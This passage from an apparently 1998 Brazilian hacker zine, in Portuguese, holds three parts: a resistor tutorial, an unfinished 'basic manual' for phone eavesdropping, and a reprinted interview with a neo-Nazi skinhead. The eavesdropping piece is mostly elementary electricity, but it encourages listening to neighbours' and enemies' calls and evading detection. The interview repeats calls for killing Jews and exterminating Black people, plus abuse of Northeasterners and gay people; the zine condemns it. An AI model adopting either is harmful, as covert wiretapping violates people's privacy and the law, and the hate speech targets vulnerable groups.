 tura  em que  se  encontra ), LDRs (resistores que variam sua resistencia de
 acordo com a incidencia de luz no mesmo), e os potenciometros que so resis-
 tores regulaveis manualmente.
        Os  resistores  tem  caracteresticas  fundamentais que sao essenciais
 para sua identificacao.
        Tais  caracteristicas  sao: codigo  de cores, potencia, tolerancia  e
 tipo  como  citado  acima.

        POTENCIA  e o trabalho realizado pelo resistor em forma de  calor, ou
 seja, dissipacao  maxima  de  calor  que o resistor pode liberar.

        TOLERANCIA  a variao do valor que um resistor pode ter sem compro-
 meter  o  funcionamento  do  circuito. A tolerancia tambem e representada do
 mesmo  modo que o  valor do resistor. Geralmente existem tolerancias de 1 %,
 2%, 5%, 10% e 20%. Por exemplo um resistor de 10 ohms com uma tolerancia  de
 10% ,pode variar seu valor para 11 ohms  ou  para  9  ohms sem comprometer o
 funcionamento de nenhum circuito para qual ele foi projetado.

        CODIGO DE CORES  e um codigo usado para identificar o valor do resis-
 tor no seu corpo fisico. Alguns resistores apresentam numeros decimais dire-
 tamente gravados em seu corpo.
        O  codigo  de  cores  e representado por faixas coloridas gravadas no
 corpo do resistor sendo que cada faixa representa um valor determinado.
        As cores  que determinam o codigo de cores so apresentadas na tabela
 abaixo.

        -= CODIGO DE CORES =-

 Ŀ
 COR        1FAXA  2FAXA    3FAXA       4FAXA                    
 Ĵ
  Preto       -       0      x 1                                     
 Ĵ
  Marrom      1       1      x 10                                    
 Ĵ
  Vermelho    2       2      x 100                                   
 Ĵ
  Laranja     3       3      x 1000                                  
 Ĵ
  Amarelo     4       4      x 10000                                 
 Ĵ
  Verde       5       5      x 100000                                
 Ĵ
  Azul        6       6      x 1000000                               
 Ĵ
  Violeta     7       7          -                                   
 Ĵ
  Cinza       8       8          -                                   
 Ĵ
  Branco      9       9          -                                   
 Ĵ
  Ouro        -       -      x 0,1         + ou - 5%                 
 Ĵ
  Prata       -       -      x 0,01        + ou - 10%                
 Ĵ
  Sem cor     -       -          -         + ou - 20%                
 

        O  resistor  normalmente possui faixas em seu corpo que representam o
 codigo de cores, sendo que as tres primeiras indicam o valor do resistor e a
 ultima a sua tolerancia como ilustra a figura abaixo.

              Ŀ
        Ĵ         
              
                      
                       tolerancia
                    faixa multiplicativa
                   segundo digito
                  primeiro digito

        Exemplo:

                Um resistor com as seguintes faixas:

                1- Vermelho
                2- Vermelho
                3- Vermelho
                4- Prata


 -------======================= TheCroW ==============================-------

        Bom, por essa edio  s galera, tomara que tenham gostado...
        
        Na prxima vem mais,  M U I T O   M A I S.
        Mandem E-MAILS e faam comentrios por favor..bons ou ruins,
 todos sero bem-vindos. Se quiserem enviar suas matrias, estamos de "portas
 abertas" e claro, os autores tero seus devidos crditos.

 Alguns tpicos da prxima edio:

        PARTE 2

        - Associacao de resistores
        - Circuitos Eletricos
        - Circuito com carga resistiva em serie
        - Tensao
        - Divisao de tensao no circuito
        - Capacitores
        - Indutores

        E-Mail: thecrow_mail@yahoo.com

   - = - = - = - = - = -

   Pessoal, MaNdRaCk invadindo a area!

   Bem, o lance eh o seguinte:
   Dias apos o fechamento da ediao 04, eu comecei a escrever um texto sobre
escuta telefonica. Pois eh, e neste texto dei nooes de eletronica, mas nao
o publiquei na INet, nem em BBS, apenas passei (acho q passei) a um amigo, o
Blood Root, mais ninguem. Como eu parei de escreve-lo, achei conveniente colo-
car a parte de eletronica q eu escrevi aqui apos a materia do CroW, q tmb fala
sobre eletronica. As duas sao meio parecidas, sendo q a do TheCroW eh mais 
completa, e a minha apenas entra em mais detalhes sobre a teoria da eletrici-
dade.
   Bem, acho q depois de tantas publicaoes a respeito da eletronica no zine,
acho q ninguem vai ficar pra tras...

   Aih vai minha materia, ou melhor, fragmento de texto incompleto :)






                ɻ ɻ                        ͻ
                ˼                          
                                           ʻ  
                    A N U A L                  A S I C O
                                           ͼ

                                 PARA

                                 
                                       
                                     
                     S C U T A           E L E F O N i C A 
                                     

                             V E R S A O    1.0

                                by MaNdRaCk  

##############################################################################

   AViSO iMPORTANTE: DE AGORA EM DIANTE, TODAS AS SUAS AOES ESTAO SENDO MONi-      
TORADAS, E PORTANTO, SE VC NAO AGiR COMO HACKER, E NEM HACKEAR NADA, ESTE PRO-
GRAMA APAGARA TODO SEU DiSCO RiGiDO, ENTAO SE VC NAO FOR HACKER OU PHREAKER,
APAGUE-ME DE SEU HD:

C:\>del hphr05.txt

##############################################################################

                      TeXtO NACiONAL - ViVA O BRASiL!!!
         
   Como o texto eh nacional, os procedimentos e projetos aqui descritos funci-
onam perfeitamente aqui no Brasil.

                       NORTH AMERICANS: FUCK YOU!!!
                     THiZ TEXT iS ONLY FOR BRAZiLiANS      

##############################################################################


   CONTEUDO:

   1.0 - Que diabos eh isso?
   2.0 - Uma palavra aos bundoes de primeira viagem
   3.0 - Como comear meus estudos em Phreak
      3.1 - Nocoes Basicas de Eletronica
      3.2 - Entendendo os Circuitos Eletronicos
   4.0 - Escutando Conversas
   5.0 - BOX, BOX, BOX??? Q eh isso???


##############################################################################


   1.0 - QUE DIABOS EH ISSO?

   Primeiramente devo considerar q isso naum eh o diabo, e sim obra dele, por-
tanto, se vc naum se contentou com isso, e quer o diabo mesmo, continue lendo
q quando sua ridicula vida chegar ao fim, vc se encontrarah com ele...
   Pra vc nao pensar q isso aki eh teologia, no titulo estah bem claro:
Manual BASICO para Escuta Telefonica, portanto, nao pense q depois de ler essa
merda vc vai ouvir todas as conversas do mundo, vc irah aprender o basico. O
objetivo deste manual eh introduzir qquer merdinha no "viciante" mundo da es-
cuta telefonica, e talvez do hobbismo eletronico. Para os q nao tiveram nenhum
contato com eletronica na vida, e ainda acredita em certas propagandas que den- 
tro da televisao tem um monte de bichinhos q movimentam a tela, eu preparei um
manualzinho q introduz vc nesse fascinante mundo da eletronica. Se vc jah en-
tende um pouco, pule essa parte, e comece jah...
   Outros por aih devem estar se perguntando: Mas pq ele nao fez uma materia 
pro zine?
   Bom, pra esclarecer esta pergunta, pra quem naum sabe eu sou o tal q escre-
ve o zine Hack and Phreak, e resolvi escapar um pouco e sair da rotina.
   Mas pq? Oras, estou aproveitando pra escrever isto e pra encher a cabea de
playboyzinhos q se acham os espertoes, mas sao uns merdas q sao controlados
pelo governo.
   PRa quem eh hobbista, e manja tudo de eletronica, eh formado em eletronica
e tal, deve estar estranhando minha linguagem e deve estar cheio de duvidas.
   Bom, pra esses caras eu vou falar uma coisa:
   A muito tempo atras, como nao podia deixar de ser, nos EUA uns doidoes co-
mearam a descobrir como burlar o sistema telefonico, entao com o passar do
tempo, com o surgimento do mundo hacker, esse negocio de burlar os sistemas
telefonicos tambem ganhou um mundo, q comeou a ser chamado de PHREAK.
   Phreak vem do ingles "freak", q de acordo com meu Michaelis de bolso quer
dizer:

  freak [fri:k] s. excentricidade f.; capricho m., extravagancia f.; aberraao
    f.; salpico... tal, tal, tal...
   
  freak out: viajar, ter alucinaao (como efeito de drogas alucinogenas)

   Aih jah dah pra ter uma ideia do q se passa... O phreak eh com PH pq em in-
gles telefone seria: telephone, portanto, como o phreak abrange a telephonia,
varios phreakers phalam tudo q tem som de F com PH...
   Esses entao seriam os aspectos culturais do phreak, eh claro q vc pode ser
um phreaker sem seguir essa cultura, mas assim perderia a tradiao...
   Mas como ser phreaker? Quem QUER SER apenas por SER, nunca vai ser, pelo
menos nunca vai ser um de verdade. Phreakers amam a eletronica e a telefonia,
sao hobbistas telefonicos, e naum querem nem saber como se liga de graa, pelo
simples fato q phreakers nao sabem como se liga de graa, e sim DESCOBREM como
se liga de graa...
   Se vc ama a eletronica e os telefones, mas nunca teve a oportunidade de
aprender, cale-se e leia esse textos, mas busque conhecimento em outros tmb.

   E lembre-se, antes de ler o livro q o mestre lhe deu vc tem q escrever o
seu, portanto, descubra e PHREAK OUT!!!


1998 - MaNdRaCk
##############################################################################


   2.0 - UMA PALAVRA AOS BUNDOES DE PRIMEIRA VIAGEM

   Aos merdas q baixaram este texto sem saber o q iriam fazer com ele, por fa-
vor, apagem-me do seu winchester, se vc eh um hobbista q estah surpreendido
com o texto, a linguagem e tudo mais, fique sabendo q isso jah existe no Brasil
sim! E pra aqueles q se acham os grandes, e sabem tudo o q estah escrito aki,
poxa, vc naum acha q eh bom demais pra estar lendo essa merda? 


##############################################################################


   3.0 - COMO COMEAR MEUS ESTUDOS EM PHREAK

   Como comear? Onde comear? Bom, antes de tudo, vc pode comear entendendo
as nooes basicas de eletronica q vou passar adiante, mas eh recomendavel q
vc faa um curso de eletronica, pode ser por correspondencia mesmo, eh bom tmb
naum se ache, cale a boca, nao diga pra ninguem q vc estah estudando phreak,
nao queira se achar pros outros soh pq vc descobriu como usar o orelhao sem 
pagar, nao diga o q descobriu a massa popular, apenas a outros phreaker q me-
recam o conhecimento, nao seja invejoso, a inveja corroi, vc nunca vai ser nda
sendo invejoso, eu conheo muita gente com capacidade pra ser phreaker mas q
tem inveja de quem sabe, e por isso nunca aprende nada.
   Nao perca tempo procurando por bons textos na Internet, pelo simples fato q
vai ser uma grande perda de tempo, ao inves disso, va a banca ou a livraria 
mais proxima e compre revistas ou livros especializados em eletronica, princi-
palmente na area de telecomunicaoes.
   Nao conte nenhum truque a ninguem, nem pro seu pai, nem pra sua mae, pois
o mau uso dessas tecnicas acaba causando sua extinao...
   Estude, estude, estude, e estude mais um pouco ainda, e um pouquinho mais,
se vc estudar bem, os resultados serao satisfatorios...
   Agora seja humilde e pule pra proxima seao, se vc nao entender, leia de
novo, se ainda nao entendeu, leia novamente, se mesmo assim vc nao entender,
procure a explicaao em um livro ou revista, e se mesmo assim vc nao entender,
mate-se.



   3.1 - NOOES BASICAS DE ELETRONICA

   Se vc acredita q seu radio funciona com um bichinho lah dentro q fica fa-
lando, esquea toda essa baboseira, pense apenas em atomos, e em especial, 
eletrons. Pense apenas na eletricidade.
   Bom, vc jah deve saber q tudo q estah ao seu redor eh formado por moleculas
(o monitor, o teclado, seus dedos, etc...) estas q sao formadas por atomos.
Como vc jah sabe tmb, os atomos possuem tres particulas fundamentais, q nos
interessa: os protons, os neutrons e os eletrons. Como vc tmb jah deve estar
sabendo, cada um desses aih possui uma carga. (se vc naum entendeu, termine o
1.o grau antes, criana)
   As cargas de cada um:

         PROTONS : +
         ELETRONS: -
         NEUTRONS: esses sao meio viadinho mesmo, ficam no meio termo.

   Eles possuem uma polaridade, como vc jah deve ter percebido q as pilhas tem
e q a tomada de CA da sua casa tem dois buracos (fase e neutro)
   Bom, agora pra eu naum ficar explicando muito, eh bom q vc jah saiba como
a materia eh constituida, e como os atomos "funcionam", senao esquea de con-
tinuar a ler.
   Bem, um atomo tem o seguinte aspecto:


                           eletrosfera   -
                              |
                              -

                                  +
                                 +++ - Nucleo
                                  +
                                       -

                               -
                              

   Bem no meio fica o nucleo onde tem os protons e os neutrons, e ao redor do      
nucleo fica a eletrosfera, onde os eletrons ficam girando. Tah e daih... bom,
e daih q a gente chegou a uma conclusao importante: apenas os eletrons se 
movem, ou seja, apenas as cargas negativas. Aih vc me pergunta, mas o q q isso
interessa? Agora nao interessa, mas depois vai ser importante, aguarde.
   Tah bom, vamos pra parte "pratica" do negocio:
   Como a eletricidade funciona... eh o seguinte esquema, imagine um condutor,
um fio feito de um metal qquer. Como vc jah sabe os metais sao bons condutores
de eletricidade, mas vamos ver o esquema mais de perto:


------------------------------------------------------------------------------

   +    +    +    +    +   +    +    +    +    +   +    +    +    +    +

   +    +    +    +    +   +    +    +    +    +   +    +    +    +    +

   +    +    +    +    +   +    +    +    +    +   +    +    +    +    +

   +    +    +    +    +   +    +    +    +    +   +    +    +    +    +

------------------------------------------------------------------------------

   Suponhamos q o treco acima seja o nosso condutor, formado por varios atomos
de algum metal qquer. Como eh um metal, os atomos ficam assim enfileiradinhos
bonitinhos, sendo q isso eh muito bom para a conduao da eletricidade.
   Ok, entao o q vai acontecer se aplicarmos uma diferena de pontencial (nao
se preocupe com esse nome q a explicaao vem logo logo) nos extremos do fio?
   Vai acontecer q os eletrons vao comear a passar sobre ele gerando assim
a eletricidade. Observe:


------------------------------------------------------------------------------

   +    +    +    +    +   +    +    +    +    +   +    +    +    +    +
     -              -         -
   +    +    +    +    +   +    +    +    +    +   +    +    +    +    +
          -               -   -     - =>
   +    +    +    +    +   +    +    +    +    +   +    +    +    +    +
                -    -     -      -
   +    +    +    +    +   +    +    +    +    +   +    +    +    +    +
               ===> caminho percorrido pelos eletrons
------------------------------------------------------------------------------

   Os eletrons vao ser atraidos pelas cargas positivas, e como apenas os ele-
trons tem a capacidade de se locomever, eles vao ao encontro das cargas posi-
tivas, gerando assim a chamada CORRENTE ELETRICA.
   A corrente entao nada mais eh do q o movimento dos eletrons pelo condutor.
   Como todas as outras grandezas eletricas q a gente vai ver (a corrente eh
uma delas) existe uma unidade de medida pra elas. A unidade de medida da cor-
rente eh o `ampere, q pode ser abreviado pela letra A. Entao quando eu falar
de 10 A por exemplo, vc jah sabe q estou falando da corrente eletrica.
   Outra das grandezas q nos interessam eh a DIFERENA DE POTENCIAL, ou sim-
plesmente ddp. A diferena de potencial (ddp) eh meio phoda de ser explicada,
mas vamos lah...
   Bom, quando aplicamos uma ddp em alguma coisa, geramos uma corrente eletri-
ca. Bom, supomos entao q nos temos dois corpos feitos de qquer material, um
estah carregado negativamente, e o outro positivamente. O q eu quero dizer com
isso, eh q em um corpo, existem mais eletrons do q protons, como os eletrons
tem carga negativa, o corpo estah carregado negativamente, e vice-versa.
Entao temos o seguinte:


            corpo carregado                   corpo carregado
             negativamente                     positivamente
             -----------                        -----------
            |    -      |                      |    +      |
            | -  -  -   |                      | +  +  +   |
            |       - - |                      |       + + |
            -------------                      -------------

   Temos os dois corpos. E aih eu pergunto, e o q esses dois corpos tem em
comum, supondo q eles sejam feitos de materiais diferentes. Aih eu digo q eles
tem uma diferena de potencial entre si, pois um estah carregado positivamente
e o outro negativamente. Tah bem, entao jah q ha uma ddp entre os dois, pq
nao existe a corrente eletrica? Pelo simples fato de q nda estah ligando os
dois corpos, entao vamos tentar colocar um condutor entre os dois corpos:


            corpo carregado                   corpo carregado
             negativamente                     positivamente
             -----------         (ddp)          -----------
            |    -      |     => corrente      |    +      |
            | -  -  -   |======================| +  +  +   |
            |       - - |       condutor       |       + + |
            -------------                      -------------


   O q a gente acabou de fazer? Simples, aplicamos uma ddp aos extremos de um
condutor, gerando assim uma corrente, q vai do negativo ao positivo, pelo sim-
ples fato de q somente os eletrons podem se locomover. Isto se chama de senti-
do da corrente (negativo ao positivo), sendo q este eh o SENTIDO REAL DA COR-
RENTE, q contraria o SENTIDO CONVENCIONAL DA CORRENTE, q eh o contrario, do
positivo ao negativo. Mas entao pq diabos existe o sentido convencional? Bem,
antigamente as pessoas acreditavam q a corrente eletrica se dava do positivo
ao negativo, q foi dado com uma convenao, hoje em dia jah se sabe q na verda-
de a corrente se dah do negativo ao positivo, mas esse sentido convencional 
foi preservado pq existem ainda textos antigos q tratam a corrente no sentido
convencional, portanto, ateh hoje em dia eh adotado por convenao q a corrente
vai do positivo ao negativo, portanto nao estranhe se vc ler isso em alguma
revista ou livro.
   Bem, voltando ao assunto... Ainda no exemplo acima, nos aplicamos uma ddp
aos extremos do fio assim gerando a corrente, mas ateh quando essa corrente
vai durar? Ela vai durar ateh q todas as cargas negativas "anulem" as cargas
positivas do outro corpo, deixando assim os dois corpos no estado neutro. Os
dois com o mesmo numero de protons e eletrons. Tah bem, mas entao como as
pilhas mantem uma ddp constante? Aha, chegamos ao ponto da questao...
   Imagine o seguinte esquema:


             /==================================\
            //             condutor             \\
            ||                                  ||
            ||                                  ||
            ||                                  ||
         -------                                ||
        |   +   |                               ||
        | +   + |                               ||
        | +  +  |                               ||
        | -  -  |                               ||
        |  -    | gerador de FEM                ||
        |  - -  |                               ||
         -------                                ||
            ||                                  ||
            ||                                  ||
            ||                                  ||
            \\           ---> corrente          //
             \==================================/


   Bem, o q movimenta os eletrons nos geradores(pilhas) eh uma forar chamada                
de FORA ELETROMOTRIZ, ou simplesmente FEM. Esta eh a fora q mantem uma cor-
rente constante ligada ao condutor...
   Pra encerrar isso e pra gente comear a falar sobre circuitos, devo consi-
derar q vc jah conhecia a diferena de potencial, mas vc conhecia pelo nome de
TENSAO. Os dois estao certos, e a unidade de medida pra tensao eh o VOLT q po-
de ser abreviado pela letra V. Assim se eu falo pra aplicarmos uma ddp de 20 V
vc jah sabe do q eu estou falando.



   3.2 - ENTENDENDO OS CIRCUITOS ELETRONICOS

   Eu jah dei varios exemplos de circuitos, mas nenhum deles vc vai encontrar
nas revistas e livros, o q vc vai encontrar lah vai ser um esquema representa-
do por simbolos. Entao, consideremos o seguinte circuito:


             /==================================\
            //             condutor             \\
            ||                                  ||
            ||                                  ||
            ||                                  ||
         -------                                ||
        |   +   |                               ||
        | +   + |                               ||
        | +  +  |                               ||
        | -  -  |                               ||
        |  -    | pilha                         ||
        |  - -  |                               ||
         -------                                ||
            ||                                  ||
            ||                                  ||
            ||                                  ||
            \\                                  //
             \==================================/

   Este eh o circuito q vimos antes, mas representado de uma forma mais expli-
cativa. Vamos colocar esse mesmo circuito em um esquema:

               _____________________
              |                     |
              |                     |
           +  |                     |
            -----                   |
             ---                    |
           -  |                     |
              |                     |
              |_____________________|

   O simbolo:   -----  representa a pilha, e os traos representam o condutor.
                 ---
   Vamos agora encontrar uma utilidade para o nosso circuito, vamos cortar o
fio ao meio:

             /==================================\
            //                                  \\
            ||                                  ||
            ||                                  ||
            ||                                  ||
         -------                                ||
        |   +   |                               ||
        | +   + |                               ||
        | +  +  |                                +
        | -  -  |                  
        |  -    | 
        |  - -  |                                -
         -------                                ||
            ||                                  ||
            ||                                  ||
            ||                                  ||
            \\                                  //
             \==================================/

   A corrente para imediatamente, pois agora o circuito estah ABERTO, e naum
existe mais a diferena de potencial. Assim ficamos com duas pontas de fio,
a positiva e a negativa. Vamos fazer o seguinte: vamos pegar uma lampada e 
engatar cada ponta do fio em cada terminal da lampada:


             /==================================\
            //                                  \\
            ||                                  ||
            ||                                  ||
            ||                                  ||
         -------                                ||
        |   +   |                               ||
        | +   + |                               ||       / --- \
        | +  +  |                               ||___--/         \
        | -  -  |                                    |___---|     |
        |  -    |                                 ___|---___|     |
        |  - -  |                               ||   --\         /
         -------                                ||       \ --- /
            ||                                  ||
            ||                                  ||         lampada
            ||                                  ||
            \\                                  //
             \==================================/


   Pronto, aplicamos uma ddp aos terminais da lampada, gerando assim uma cor-
rente pelo seu filamento, suficiente para acende-la. O circuito estah fechado
novamente, e como a corrente eh constante, o lampada nao apagarah. Bom, veja-
mos agora este circuito representado em esquema:

               _____________________
              |                     |
              |                     |
           +  |                     |
            -----                  / \ lampada
             ---                   \ /
           -  |                     |
              |                     |
              |_____________________|

   Bem, o certo o simbolo da lampada eh um circulo com um X no centro, mas com
a dificuldade p/ representar um esquema utilizando caracteres em ASCII, fica
meio dificil de entender, eis a importancia de vc fazer um curso de eletronica.


   NOTA: ISTO QUE VC ACABOU DE LER NAO EH NEM 0,1% DE TODA ELETRONICA. SE VC
   GOSTOU DO Q LEU E SE INTERESSOU, NAO PERCA TEMPO E FAA UM CURSO AGORA!
   CASO CONTRARIO ESQUEA Q PHREAK NAO EH PRA VC. PRA CONTINUAR A VER O TEX-
   TO SEM COMPLICAOES EH NECESSARIO UM CONHECIMENTO EM ELETRONICA QUE VAI 
   MUITO ALEM DO QUE EU FALEI AGORA, PORTANTO ADQUIRA ESSE CONHECIMENTO E VA
   A LUTA!!!

   BE HAPPY, PHUCK AND PHREAK OUT!!!


##############################################################################


   4.0 - ESCUTANDO CONVERSAS

   Um dos meus hobbies prediletos quando se trata de phreak eh a escuta. (Nao
eh a toa q estou sempre bem informado)(fofoqueira eh a vovozinha...  ;)   
   Seriamente, um hobbie muito viciante. Mas q faz vc deixar de ser um simples
mortal. Isso eh uma das causas pra vc nao falar pra ninguem do seu phreak.
   E tmb nunca mostre nenhuma gravaao de conversa pra ninguem... Bem, eh ver-
dade, o phreak eh um hobbie meio egoista, mas tmb naum eh pra qquer um. E ou-
tra coisa: pros cagoes de primeira viagem; nao fiquem com medo de serem pegos,
vc serah pego soh se for muito burro mesmo, acho q ouvir as conversas do vizi-
nho eh a coisa mais facil q tem, ouvir as conversas do seu inimigo tmb eh
muito interessante, hehehe...
   Eh muito facil, mas nao eh por isso q vc vai deixar de ser cauteloso, eh
bom nao deixar suas digitais por aih, apesar de q aki no Brasil nem seja muito
necessario, pois a Policia Civil nem tem equipamento pra isso, nao se esquea
q existem por aih detevives particulares pra lah de bom, portanto fique esper-
to nas merdas q vc vai fazer...
   Bem, acho q eu sou o unico q define isso como um hobbie, alguns camaradas
meus dizem q eh pura perda de tempo, bom, se eh perda de tempo eu nao sei, mas
q eh massa eh, isso eu posso garantir. Vc mesmo pode encontrar alguma utilida-
de pra isso, alem da espionagem e da fofoca. Vc pode monitorar a sua linha,
saber quem ligou pra quem antes da conta chegar... E inclusive saber o q essas
pessoas estavam conversando, vc pode descobrir uns podres de alguem, enfim,
uma infinidade de coisas...
   Jah q na pratica a teoria eh outra, vc deve estar falando: Falar eh facil..        
Eh falar eh mais facil, mas eu garanto q boxear eh mais facil ainda, desde q
vc saiba o q esta fazendo. Primeiramente devo considerar q qquer tipo de box
consome certa corrente da linha, portanto o som do telefone boxeado fica mais
baixo, e tmb, a maioria delas precisa descascar os fios para instalar, porem
qquer cara q tenha um cerebro mais ou menos dentro do cranio consegue fazer
isso com os olhos fechados e com as maos e os pes amarrados.
   Pra eu nao fazer uma enciclopedia completa, vou descrever os procedimentos
de instalaao em cada box, com dicas pra cada caso...

##############################################################################


   
   5.0 - BOX, BOX, BOX??? Q EH ISSO???

   Pra quem nao entende quando eu falo BOX, vamos a uma pequena explicaaozi-
nha: Antes, quando eu falei sobre o surgimento do Phreak, esqueci de falar 
sobre o significado das boxes. BOX, nao eh uma coisa q vc compra no supermer-
cado, nem na linha do Walter Mercado, eh claro q tem uns exploradores por aih
que vendem algumas, mas phreak q eh phreak, projeta e desenvolve boxes em casa.
   Bem, box nada mais eh do q um circuito, q quando ligado a linha telefonica,
visa um fim vantajoso pro phreaker q a instalou. A palavra BOX vem do ingles:
CAIXA, seria uma caixa com um circuito dentro...
   Eu jah estou cansado de falar e ouvir falar sobre isso, mas falarei...
   Nem todas as boxes sao ilegais, existem algumas q nada fazem mal ao alvo
do phreaker, tais como as switches, a Rock Box entre outras.
   Para maiores informaoes sobre boxes visite a HP do Hack and Phreak Group
e faa download dos zines...


##############################################################################

   DiSCLAiMER: EU NAO ME RESPONSABiLiZO SE VC FOR PRESO OU PAGAR MULTA POR
   FICAR OUVINDO CONVERSA POR AIH, E TMB NAO ME RESPONSABILIZO PELO MAU USO
   DO SEU CONHECIMENTO. TUDO O Q VC FIZER EH POR SUA CONTA. CASO NAO CONCOR-
   DE COM ESSE TERMO, APAGUE ESSE ARQUIVO DE SEU HD IMEDIATAMENTE...

##############################################################################

   OUTRA COISA: EU COMECEI A ESCREVER ESSA BOSTA DE MAO ABANANDO, SEM CONSUL-
   TAR NENHUMA PORRA DE MANUAL NEM NADA, PORTANTO EU SOU AUTOR DESSA MERDA
   E VC TEM Q SER MUITO LAMER PRA COPIAR ISSO AKI NO SEU NOME. PRO PESSOAL 
   QUE QUISER POR NO ZINE E TAL TUDO BEM, SOH NAO ESQUEAM DE MENCIONAR MEU
   NOME.

   PS.: OS PROJETOS DE BOXES E COISARADA NAO SAO DE MINHA AUTORIA, RETIREI DE
   LIVROS E REVISTAS.

   1998 CopyRight, MaNdRaCk 

   - = - = - = - = - = -

   OBS.: EU PAREI DE ESCREVER ESTE TEXTO, E APENAS RESOLVI PUBLICA-LO NO ZINE
         PRA NAO JOGAR TRABALHO FORA. NAO ME PEGUNTEM MAIS Q NAO CONTINUAREI
         A ESCREVE-LO, FALAREI SOBRE ESCUTA TELEFONICA EM EDIOES FUTURAS DO
         ZINE. E VOLTO A LEMBRAR Q ESTE TEXTO NADA TEM A VER COM O ZINE...

   - = - = - = - = - = -


   1998 TheCroW - HackPHR ZINE
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                             05  - ANARQUIA 
                            -=-=-=-=-=-=-=-=-=-=- 


 ****************************************************************************
                           A   N  A  R  Q  U  I   A
    ChE GuEVaRa            *Ŀ*      aNTnIo                      
                           *             *        cOnSeLHEiro
            mANdelA        *             *              
                           *       ensador   *   zUmBI                 
       LuThER kinG         *                 *                 
                           **       JiM MorrIsOn      
                           A   N  A  R  Q  U  I   A
 ****************************************************************************

  Como sempre o mesmo aviso...             
                                           
  Aviso s pessoas ingnuas..:             

                --------------------------------------------------
                aTenO: VC  O TOTAL RESPONSVEL POR SUAS AES.
                         O USO INDEVIDO DAS MATRIAS AQUI CONTIDAS
                         PODEM ACARRETAR SRIOS DANOS.
                         No sou responsvel por N A D A.
                         Vc  o responsvel por T U D O .
                --------------------------------------------------
                           /\/\/\/\/\/\/\/\/\/\/\/\/\/\
                          | Aviso  c0mUN1dADe diG1taL | 
                           \/\/\/\/\/\/\/\/\/\/\/\/\/\/ 
        
        
                       
        
         irme, galera estou aqui denovo, firme e forte, contiuando
        a escrever matrias descentes e interessantes, e com o mesmo
        jeito diferente e personalizado o qual eu escrevo...
        (bonita frase no?!?) (tomara que ningum comece a imitar!!)
        Apesar de no ter recebido muitos mails da galera, assim mesmo
        estou motivado a continuar escrevendo a "anarquia" pro zine HackPhr
        porque os mails que recebi foram muito satisfatrios pra mim...
        percebi que a galera realmente gostou das matrias, e velho, no
        precisa ter medo de mandar mail cara, crticas sempre so bem vindas.
        Continuarei com esse jeito diferente de escrever e sempre vou rolar
        algumas matrias inditas a...algumas de minha autoria, outras no.
    --> ah..s pra esclarecer que teve muita gente com dvida a, meu e-mail
        eh: pennsador@hotmail.com (tem dois "n" mesmo).

-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-
        Como prometido da edio anterior, j comearemos com uma matria
        bala, o autor e a data da matria esto devidamente creditados.
         Esta matria eh pra ser vista com ateno para que vcs realmente
        percebam que ainda existem seres humanos sem "inteligncia".
        /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

                        -=-= ENTREVISTA COM SKIN-HEAD =-=-

   Esta entrevista foi feita pelo Sobrevivncia Zine (de 1995) de So Paulo.
   Conhea o que se passa dentro da cabea de um nazi - skinhead
   de Sto. Andr / SP, a maior concentrao nacional de skins.
   Reflita e veja que toda a violncia e estupidez desses indivduos so
   movidos por crebros menos ativos que de um cachorro, sem querer ofender
   o melhor amigo do homem.


Sobrevivncia Zine: Poderia comentar sobre sua ideologia de forma clara
e direta?
SKINHEAD : Nossa ideologia  fazer com que as pessoas entendam que o Movimento
Nazista tem como objetivo crescer aqui no Brasil, ou seja, construir um pas
que no tenha polticos corruptos.

S.Z. : Quais seus objetivos e atitudes perante a sociedade?
SKIN : Nosso objetivo  mostrar a todos que o Movimento Nazista  forte
e que ns vamos crescer, quer vocs queiram ou no.

S.Z. : Por que a discriminao a negros, nordestinos e outros preconceitos?
SKIN : Negros, essas coisas por exemplo: na cadeia a maioria dos presos so
       negros, 85%, e ns queremos acabar com essa raa! Nordestinos, eles
       vm para So Paulo com esperana de conseguir um emprego e ficar rico, mas acabam quebrando a cara aqui em Sao Paulo,
       ento eles ficam pedindo esmolas nas ruas e, as vezes, roubam para
       sobreviver. Judeus so tipos de pessoas, ou melhor, so merdas que
       merecem morrer mesmo. Homossexuais, bichas ou prostitutas so pessoas
       que merecem o desprezo e tm que apanhar mesmo porque se fossem pessoas
       de bem no estariam vendendo o corpo. Os bichas, se eles tivessem
       vergonha na cara, porque eles tem que honrar a palavra homem.

S.Z. : Por que vocs preferem usar a violncia para impor objetivos (ideais)
ao invs de tentar por formas pacifistas como dilogo e panfletagem,
por exemplo ?
SKIN : Os skinheads no usam violncia para impor seus ideais, no como
anarquistas imundos que falam coisas que no tem nada a ver.

S.Z. : O que vocs andam fazendo atualmente em termos de aes?
SKIN : No momento ns estamos dando um tempo. Mas o movimento vai voltar, e
quando voltar, vai voltar com toda a fora nazista.

S.Z. : O que vocs acham de governantes e similares?
SKIN : O nico governante, ou seja, mestre, foi Adolf Hitler porque, pra
mim, governantes e similares no passam de trouxas.

S.Z. : Vocs tem afinidades com a KKK ? Quais?
SKIN : Sim, em construir um mundo melhor e ns temos uma pequena parceria com
a torcida organizada Mancha Verde (Palmeiras) com sede em Sto. Andr e
mantemos contato com os skinheads da Alemanha, Canad e EUA.

S.Z. : Como vocs se sentem sendo manipulados pelo governo ao incentivar a
violncia e discriminao que os mesmos provocam na sociedade? Afinal, vocs
foram manipulados de alguma forma para aderirem a essa forma ideolgica,certo?
Pare e reflita.
SKIN : Sobre essa questo, ou seja, resposta, como voc preferir, no passa
de uma pergunta idiota vinda de um anarquista que se acha o dono da verdade,
ns apenas lutamos pelos nossos objetivos, no como vocs que fazem passeatas
estpidas.

S.Z.: Bom, por essa  s, deixo o espao aberto para qualquer coisa.
SKIN : Quero deixar bem claro que os skinheads e o poder White Power
vo voltar tambm, e vo acabar com todos aqueles que estiverem contra o
nosso movimento. Principalmente anarquistas, porcos, punks e roqueiros
cabeludos e com aqueles que levam o nazismo como motivo de brincadeira.
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

PENSADOR: Porra, ainda  possvel existirem pessoas assim? Ns estamos
num mundo livre onde pessoas podem opinar, mas chegar at esse ponto?
Negros, nordestinos...sei l o que forem, so to seres humanos quanto
